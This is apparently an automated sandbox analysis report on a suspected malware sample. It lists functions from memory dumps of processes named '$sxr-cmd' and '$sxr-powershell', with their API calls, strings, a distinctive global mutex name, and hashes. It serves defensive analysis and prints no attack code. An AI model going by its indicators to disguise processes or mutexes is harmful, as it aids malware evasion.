Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleTitle
String ID: -
API String ID: 3358957663-3695764949
Opcode ID: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
Instruction ID: 4fd8cbf7555cc24e9ffaa6f176f586eccfdfa2e640cee05e9095f2afaf360955
Opcode Fuzzy Hash: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
Instruction Fuzzy Hash: FB317E29A0CB4282EA149B19E814078E7A4AB4AFA4F585136D90E87BF5DF3CEC51C344

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615507280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF6155072D2
swscanf.MSVCRT ref: 00007FF61550731F

Strings

:EOF, xrefs: 00007FF6155072E8

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsnicmpswscanf
String ID: :EOF
API String ID: 1534968528-551370653
Opcode ID: 16430380be0fb913083b6884b205c0f5113cd8b1b31c6669d47242da84fc884d
Instruction ID: fb997a48623f523b70301ba470e3b4428a2cf3c9081892f05e2761d9331dff70
Opcode Fuzzy Hash: 16430380be0fb913083b6884b205c0f5113cd8b1b31c6669d47242da84fc884d
Instruction Fuzzy Hash: C8316C39A18E42C6FB649B15A8402B9F6A0EF45F78F445132EA4DC66B1DF2CEC51C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B622A08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 0000020D0B622A5D
CloseHandle.KERNEL32 ref: 0000020D0B622A6B

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 0000020D0B622A4D

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction ID: 77a8a1506dc03aff2eae748c655d70968fab0cec47337070d9b872d8e6813e1e
Opcode Fuzzy Hash: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction Fuzzy Hash: 5A21C43660AB4442F770CB96A85871AB3B2F794FA0F854015DE8D4BB56FF39C845C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F3BE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF6154F3C85

Strings

/-Y, xrefs: 00007FF61551184D

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsnicmp
String ID: /-Y
API String ID: 1886669725-4274875248
Opcode ID: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
Instruction ID: 01de4be1db02d2e144695e587eb8aa0c4138a44e59183a2b243406e9a5acbeec
Opcode Fuzzy Hash: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
Instruction Fuzzy Hash: 3E21656AE08F9581EA109F1A9544279FAB0BB44FE4F558032DE4D977A4DF3CEC92D700

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B622AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 0000020D0B622B49
CloseHandle.KERNEL32 ref: 0000020D0B622B57

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 0000020D0B622B39

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction ID: e8b3ca5e35a7bcfd5410c4704d3f1f8157f511ba2f50e19cd11ecf2ac9a6f8e9
Opcode Fuzzy Hash: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction Fuzzy Hash: 0621B235609B4041F760DF96B89871A73B2F784F69F844029DE4D4B751FF3AC4468B44

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62D760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000020D0B62D799
LCMapStringW.KERNEL32 ref: 0000020D0B62D821

Strings

LCMapStringEx, xrefs: 0000020D0B62D77C, 0000020D0B62D78D

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction ID: 035cdf40c030476bd667222e7fb0c170dd444dd583e386f4b7381cea23c94e80
Opcode Fuzzy Hash: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction Fuzzy Hash: 0B111A36609BC086E760CB56F48429AB7B5F7C9B90F944126EE8D87B1AEF38C4408B40

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B629544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000020D0B629588
RaiseException.KERNEL32 ref: 0000020D0B6295CE

Strings

csm, xrefs: 0000020D0B6295BB

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction ID: 99289c0748cbae9f70f0cd7b9b24a1584e94155972e2bf547f1a09e4d6d837e1
Opcode Fuzzy Hash: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction Fuzzy Hash: 86114C32219B8082EB208F25E44825977B2F7C8FA4F584220DF8D0BBA5EF3AC551CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FB62C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

3, xrefs: 00007FF6154FB64D
3, xrefs: 00007FF6154FB685

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID:
String ID: 3$3
API String ID: 0-2538865259
Opcode ID: b8f86acd81ff1c6da407d28336be8d8a1ddaaa1636690dcce93971c28c339212
Instruction ID: 042862f4396dbd4be5d8b8a9a6fc21a2cc9c3fc8c1f70d034efa725bd9c2804f
Opcode Fuzzy Hash: b8f86acd81ff1c6da407d28336be8d8a1ddaaa1636690dcce93971c28c339212
Instruction Fuzzy Hash: 5601F779D0ED428AF3948B689884274F760BF55F39F945136C44E825B1EF3C6CA4DB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62D6FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000020D0B62D72D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000020D0B62D747

Strings

InitializeCriticalSectionEx, xrefs: 0000020D0B62D721

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction ID: 31cc55178c59ce8e9db92d07a94b988a67dbaa0edf0742ff0119a0bc1edd16bb
Opcode Fuzzy Hash: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction Fuzzy Hash: EAF0822570AB9091FB05CBC5F488699A272FB88FB0FC45036E95D0BB56EF3AC485C744

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62D6A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000020D0B62D6D1
TlsSetValue.KERNEL32 ref: 0000020D0B62D6E8

Strings

FlsSetValue, xrefs: 0000020D0B62D6BE

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction ID: 92cd25a417a1d363d00088463a01956320e32060e21ebf1593024fd58f6e91f9
Opcode Fuzzy Hash: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction Fuzzy Hash: BCE0126120BB4091FA459BD5F9486996273FB88FA0FD89036D91D0F357FE3AC895C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155006C0 Relevance: 5.1, APIs: 4, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF6155006D6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF6155006F0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF61550074D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6154FB4DB), ref: 00007FF615500762

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
Instruction ID: 4d9c43b008e2ede26f8f316bc040d7ee20b9546814a3e236215ff3c47c08b911
Opcode Fuzzy Hash: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
Instruction Fuzzy Hash: CF416E7AA09A4286EA588F10E44417AF7A0FF89FA4F989435CA4EC3770DF3CE945C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B621D60 Relevance: 5.1, APIs: 4, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000020D0B621D95
HeapAlloc.KERNEL32 ref: 0000020D0B621DA4
GetProcessHeap.KERNEL32 ref: 0000020D0B621E18
HeapFree.KERNEL32 ref: 0000020D0B621E26

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction ID: ae37e9e9d1507a28799e7241592aa54756dfccaa33716ddc0c3002db92e6f670
Opcode Fuzzy Hash: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction Fuzzy Hash: 5421532260EF8485EB11CF99E40829AB3B2FB89FA4F954015DE8D5BB25FA79C4428740

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B621274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000020D0B62127A
HeapAlloc.KERNEL32 ref: 0000020D0B621289
GetProcessHeap.KERNEL32 ref: 0000020D0B6212A3
HeapAlloc.KERNEL32 ref: 0000020D0B6212B4

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction ID: d6f622aa72fc4c88ab5ab2d18d9ba33d2fad21b8c96f3627565d8bc0fa6d2b0d
Opcode Fuzzy Hash: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction Fuzzy Hash: 44E0ED7161270496F704DFA2D81935976F2FB88F62F89C028C94D0B351EF7E84998754

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: $sxr-powershell.exePID: 7056, Parent PID: 5088COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	200
Total number of Limit Nodes:	7

Executed Functions

Function 00000242878BDA1C Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00000242878BDA95
GetFileType.KERNEL32 ref: 00000242878BDAAB

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 886dffb09205d202da52528ad762ca177720b59a1f976d6d5f71bc5666910ac8
Instruction ID: acb24ff799d9dac9ab70fd4ba2f8cd6780d5d0831aac91d3c5cf904bbf7fbd3c
Opcode Fuzzy Hash: 886dffb09205d202da52528ad762ca177720b59a1f976d6d5f71bc5666910ac8
Instruction Fuzzy Hash: 9131872261CF49E2E7648B179D9826C7A50F385BB0FA82709FB6A473E0CB34D455E760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAB3FF5 Relevance: 1.8, Strings: 1, Instructions: 589
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_[_H, xrefs: 00007FFD9BAB42E3

Memory Dump Source

Source File: 00000015.00000002.2992880520.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bab0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID: _[_H
API String ID: 0-2548533632
Opcode ID: 7104ec7ebfa3e55d1329a9a186cf73294cb90d94bb4e6a53101bf7e76dcb2431
Instruction ID: d214b61d3a71e2751346a1c9970142bccf1a4171393b9479f5cbbdb055a25618
Opcode Fuzzy Hash: 7104ec7ebfa3e55d1329a9a186cf73294cb90d94bb4e6a53101bf7e76dcb2431
Instruction Fuzzy Hash: C502E331B0DA9D4FEB54DB5CD465AED7BE0FF69310F0502BAD059C71A6CE64A842CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878829A0 Relevance: 1.4, APIs: 1, Instructions: 186
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0000024287882A42

Memory Dump Source

Source File: 00000015.00000002.2924790905.0000024287880000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024287880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_24287880000_$sxr-powershell.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction ID: 7e7fe016f8ee541e9a8637d59e031e6b57447664a73ffc7212526a8ecc6d4f7a
Opcode Fuzzy Hash: c08d5994cd16833e0b2f32063a698386d398f42b663dd23f5820244360bcf6f8
Instruction Fuzzy Hash: FE613322702A54C7EB68CF16D85877DB391FB88BA5F848421EA1907785DB38E896D720

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878BB900 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 00000242878BB955

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction ID: 98e063cdbc52e38a77dc94b9abb3dbcada286aff70d5b4ecfa3f933ba910b942
Opcode Fuzzy Hash: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction Fuzzy Hash: FBF06D50702E0DC9FF945B739C4D39D36805BC8B88FCC4420690A977E1E92CC449A230

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878BB978 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapFree.KERNEL32 ref: 00000242878BB98E

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction ID: 1a415a76282bdc8ced463fd882a728d6376ac9e19e9a47b1e314bb618ea4f4b0
Opcode Fuzzy Hash: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction Fuzzy Hash: 1BD0C951A12D4DCAFAA897B36C4E37925519BD4788F844424B91981261AA1444997261

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BB80001 Relevance: .5, Instructions: 489
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2994360621.00007FFD9BB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bb80000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d95420201749429e37557cbd4dd8584de37be0e89075f7eeb903aa259c68238
Instruction ID: 47d0131ffb95c2844b83da07313208fc19a4733cdcafb15178d47b8d978a6604
Opcode Fuzzy Hash: 5d95420201749429e37557cbd4dd8584de37be0e89075f7eeb903aa259c68238
Instruction Fuzzy Hash: 17E1E362A0FFC90FE7A3977848355A43FE0EF56654B4A01FBD099CB1E3D918AD068351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BB80433 Relevance: .3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2994360621.00007FFD9BB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bb80000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aca145a432aa0588b50bdd6e251f33a5e5336b562121225c592f5829653bcec
Instruction ID: 34ce8096ecf83e69ed1cc16c1a60d265ef2edf98168068361305d802be9841f4
Opcode Fuzzy Hash: 9aca145a432aa0588b50bdd6e251f33a5e5336b562121225c592f5829653bcec
Instruction Fuzzy Hash: C0913622A0FE8D0FE7A6976848715B47BE0EF46694F4A01FBD09CC70E3D928AD06C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAB2AF3 Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2992880520.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bab0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3606a6ec8072584ebbfa3c2e5bae8713c44c69c7a7220e1ba464bd0c788fea5e
Instruction ID: 9ae6fe134aa61cac1d1ad588b0a070dee5a146a346644a80cf54ebb57bb74430
Opcode Fuzzy Hash: 3606a6ec8072584ebbfa3c2e5bae8713c44c69c7a7220e1ba464bd0c788fea5e
Instruction Fuzzy Hash: B141FB22B0E7650FE765E7ACB4F15E53B90DF6523EB0801BBD499CE1E7DC0868468385

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BB80461 Relevance: .1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2994360621.00007FFD9BB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bb80000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3085eeafb9e61dde4edb09c3f672a3775032717cfb9197180e9598f0638652d0
Instruction ID: 21fa85c202020ba47bb876457444e07029bf8b3c512566941002a87b8e456449
Opcode Fuzzy Hash: 3085eeafb9e61dde4edb09c3f672a3775032717cfb9197180e9598f0638652d0
Instruction Fuzzy Hash: BB411622E0FE8D0FE7B5966894B52B47BD0FF45B94F8A00BAD05CC71E3D9286D058351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAB33A5 Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2992880520.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bab0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2715c2e13effecfb1429ee149fb737ed92dc673caee9d4889d32dee4cbb7128d
Instruction ID: cb3f4c1f11460bc1bff6b97264e34216e08284ea7978cba6295b6a78ad5c9195
Opcode Fuzzy Hash: 2715c2e13effecfb1429ee149fb737ed92dc673caee9d4889d32dee4cbb7128d
Instruction Fuzzy Hash: 2D110322B1EEC90FE796D33858656642BE0EF9A204B4A01FBC05CCB2A7DC08A8058341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAB33EC Relevance: .1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2992880520.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bab0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 369b88a28f7c05d8c0e0abc5d6baef95ee437fc3d1cbf0d254cdd96001eb16ff
Instruction ID: d0c360700508f62b1b98b8816c6baf43861f8afd3636b1a950a59bca23040187
Opcode Fuzzy Hash: 369b88a28f7c05d8c0e0abc5d6baef95ee437fc3d1cbf0d254cdd96001eb16ff
Instruction Fuzzy Hash: 53014722B2DE8E0FE798E36C54A427867D0EBA8214B4401FBD01DC72A9CC58AC024340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAB3CF9 Relevance: .1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2992880520.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bab0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2751ef55c665aff01e41f41a14ea320b18bc0fc293de3ccf6fce87d8dc1143
